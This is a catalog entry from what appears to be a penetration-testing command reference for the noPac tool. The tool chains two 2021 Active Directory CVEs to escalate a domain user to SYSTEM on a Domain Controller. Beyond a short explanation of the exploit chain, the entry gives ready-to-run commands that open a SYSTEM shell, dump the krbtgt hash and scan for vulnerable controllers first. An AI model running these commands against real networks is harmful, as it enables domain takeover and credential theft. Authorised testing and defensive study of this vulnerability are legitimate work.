CatalogWADComs

WAD · Tool

noPac

2 techniquesLinux · ActiveDirectory · WindowsWADComsGPL-3.0

noPac (CVE-2021-42278 + CVE-2021-42287)

DÆMON
Privilege EscalationExecutionCredential AccessLinuxActiveDirectoryWindows

noPac.py (Ridter) chains CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion) to escalate from a low-privileged domain user to SYSTEM on the Domain Controller. It adds a new machine account, renames its sAMAccountName to match the DC (dropping the trailing $), requests a TGT, restores the name, then performs S4U2self to obtain a service ticket impersonating a Domain Admin. Requires MachineAccountQuota > 0 (default 10) and a DC unpatched against the November 2021 fixes. Use -shell for an interactive SYSTEM shell via smbexec or -dump to run secretsdump against the DC. Command Reference: Domain: test.local Username: john Password: password123 DC IP: 10.10.10.1 DC host: DC01 Impersonate: administrator

# Interactive SYSTEM shell on the DC
python3 noPac.py test.local/john:password123 -dc-ip 10.10.10.1 -dc-host DC01 --impersonate administrator -use-ldap -shell

# Dump the krbtgt hash via secretsdump
python3 noPac.py test.local/john:password123 -dc-ip 10.10.10.1 -dc-host DC01 --impersonate administrator -use-ldap -dump -just-dc-user krbtgt
Evidence
Upstream reference
Environment
Active Directory
Native
PrivEsc, Exploitation, Credential Access
Requires
Username, Password
Services
Kerberos, SMB, LDAP

noPac Vulnerability Scanner

DÆMON
EnumerationDiscoveryLinuxActiveDirectoryWindows

scanner.py ships with Ridter's noPac and safely checks whether a Domain Controller is exploitable via the sAMAccountName spoofing chain without adding or renaming any accounts. It authenticates as a normal domain user and reports the current MachineAccountQuota and whether the DC is patched against CVE-2021-42278 / CVE-2021-42287. Run it first as a low-noise reconnaissance step before launching the full noPac.py exploit. Command Reference: Domain: test.local Username: john Password: password123 DC IP: 10.10.10.1

python3 scanner.py test.local/john:password123 -dc-ip 10.10.10.1 -use-ldap
Evidence
Upstream reference
Environment
Active Directory
Native
Enumeration, Discovery
Requires
Username, Password
Services
Kerberos, LDAP, SMB